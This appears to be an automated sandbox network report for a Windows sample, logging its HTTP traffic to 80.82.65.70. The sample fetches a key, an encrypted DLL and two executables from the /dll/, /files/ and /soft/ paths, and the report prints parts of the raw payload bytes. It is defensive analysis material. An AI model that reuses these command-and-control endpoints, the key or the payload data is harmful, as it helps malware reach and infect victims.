Dec 13, 2024 03:40:51.414190054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.414243937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.414694071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.414767027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.414829016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.414891005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.415524006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.415594101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.415641069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.415700912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.416333914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.416428089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.416456938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.416507959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.417150974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.417210102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.417289019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.417346954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.417964935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.418014050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.418087959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.418137074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.418813944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.418869972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.418901920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.418951988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.419608116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.419670105 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.419739008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.419790983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.420427084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.420499086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.420542955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.420600891 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.421253920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.421291113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.421305895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.421354055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.422100067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.422131062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.422156096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.422182083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:54.460675955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:54.460769892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:41:17.041609049 CET	49730	80	192.168.2.4	80.82.65.70

HTTP Request Dependency Graph

80.82.65.70

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	80.82.65.70	80	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 03:40:15.427305937 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:16.789493084 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:16 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:16.800029993 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:17.278464079 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:16 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 13, 2024 03:40:17.283560991 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:17.838520050 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:17 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 13, 2024 03:40:17.838571072 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 13, 2024 03:40:17.838607073 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 13, 2024 03:40:17.838641882 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 13, 2024 03:40:17.838681936 CET	1236	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 13, 2024 03:40:17.838716984 CET	1236	IN	Data Raw: 18 fc a2 90 2b 67 71 38 68 4e e5 23 79 cf 33 c9 7b 68 89 24 07 d9 65 9b c2 05 5b 73 79 a0 fa 5d 0b 18 e7 03 da 3c 02 9a eb 59 06 94 8c a5 f8 69 3f f6 01 62 ec cb f9 de 45 fa 09 83 a3 f7 21 af d3 6f d5 a4 26 c7 c1 ee 10 d1 cd 23 d9 b7 3d bf ce a7 Data Ascii: +gq8hN#y3{h$e[sy]<Yi?bE!o&#=fmCALA-0BiwXV-+[X>Og{:i{It_v50#xa=cWBd/QFI6N' 3F$R/3Oqt]uqp3GU@(
Dec 13, 2024 03:40:17.838753939 CET	1236	IN	Data Raw: 86 d0 0e 0e f5 2b 0b f5 8d f7 79 40 71 81 e1 45 02 36 97 09 61 9b 5f dc b2 b1 d0 95 a0 5d 70 7b 40 b1 c5 76 fa 38 88 2f 7c 5a a9 00 9d 47 93 df 14 da 54 c6 55 b5 fc 8e fd 29 bf 7f d9 f7 52 82 c1 5f b3 a1 7d bb 48 e0 29 38 0d 63 13 83 b6 e2 b0 e0 Data Ascii: +y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&jg8KnWwD0a_r+42}20.u~Q$z2i@=sdkO8m(pC
Dec 13, 2024 03:40:17.838789940 CET	1236	IN	Data Raw: c3 9c 69 5d eb 54 db 81 bb 6b 66 5e ab f4 9b 3d ee ff 1b d1 4b 71 18 e1 6e 42 a8 ab 9c 98 14 85 99 99 0e a1 66 a6 1c 27 bd 4a b3 a3 d4 cf 6b 2b dc 89 26 b7 59 fe 26 0d 72 54 62 f2 c9 80 5f 45 0d 82 64 28 85 e9 69 0d 69 77 dd df e1 4d 16 de d3 9a Data Ascii: i]Tkf^=KqnBf'Jk+&Y&rTb_Ed(iiwM3mo.m4moNm09k-:zTzxGc\|Ub<\|Y>. Tu#f-UM!+g@!4<fG7IkEl
Dec 13, 2024 03:40:17.846800089 CET	1236	IN	Data Raw: bf 33 41 12 5b 52 91 a7 94 e0 e5 21 5d 8d 93 1b 30 af be 5e 8f 7b 94 24 bc 87 3d 50 74 38 00 cd a5 7b 35 ab 90 44 11 e5 40 7a 29 92 1d b3 4a 52 10 d4 8d 43 b3 ff 3c 6b 20 35 4a e1 86 bc f7 99 68 67 d7 c4 fb c8 a1 b9 38 b1 27 61 b3 3c e2 f9 cc 06 Data Ascii: 3A[R!]0^{$=Pt8{5D@z)JRC<k 5Jhg8'a<dIC2ui$wtHLnc}QJ4;[r\|^%<t5S[AIa+48*xs30SxNZCPH3U"~6GxeZE3 SZF&=Qt`d^u
Dec 13, 2024 03:40:17.846854925 CET	1236	IN	Data Raw: c8 a2 6d 52 66 a8 66 51 d1 c3 c9 87 9b d8 0b 44 57 eb 08 d8 cd bc b7 be b7 f1 4b 89 c0 b1 44 55 84 bc 8d 8d 36 2c c3 07 89 a5 46 50 8a ac fe f3 ba 23 4d 4f e4 0f 27 9f e1 11 07 f4 e0 e7 17 61 0e 07 54 3f cc 3f ae 3a 77 4d e4 44 61 15 b1 b3 97 25 Data Ascii: mRffQDWKDU6,FP#MO'aT??:wMDa%k;3?Bc\| yp`yzlSniVN(Bv}:XsOf.~zToX8n K$:D6Z%NNng=t+L~6DtFX[a/[
Dec 13, 2024 03:40:17.855168104 CET	1236	IN	Data Raw: d3 59 d3 30 18 53 4e 25 dc 9e 95 b9 da a6 3e 71 c0 45 79 32 7a f2 9f 43 ae e4 0b 25 8a bf 44 da e3 4d 77 72 50 8f 9d 18 42 0f 58 f1 b2 46 1d e6 97 70 c7 39 3b b2 a3 64 90 74 04 57 77 50 fc 49 1c ac 46 a7 37 5f 66 b7 fd b1 37 84 39 3f 7b d6 9b 57 Data Ascii: Y0SN%>qEy2zC%DMwrPBXFp9;dtWwPIF7_f79?{WdA_9qH1^S-;0_lc%.I5[j-(HK&c?EUXTVnMXyU47=`L4^9\7am:i`v{]
Dec 13, 2024 03:40:18.445734024 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:18.956506014 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:18 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:20.977966070 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:21.472731113 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:21 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:23.499222040 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:24.002213001 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:23 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:26.028971910 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:26.522710085 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:26 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:28.680921078 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:29.174288034 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:28 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:31.196732044 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:31.686222076 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:31 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:33.712841034 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:34.200227976 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:33 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:36.227667093 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:36.712676048 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:36 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:38.744081020 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:39.229149103 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:38 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:41.265770912 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:41.750575066 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:41 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:43.790388107 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:44.276357889 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:43 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 03:40:47.363044977 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:48.005384922 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:47 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 13, 2024 03:40:48.490792990 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 03:40:49.219187975 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 02:40:48 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU 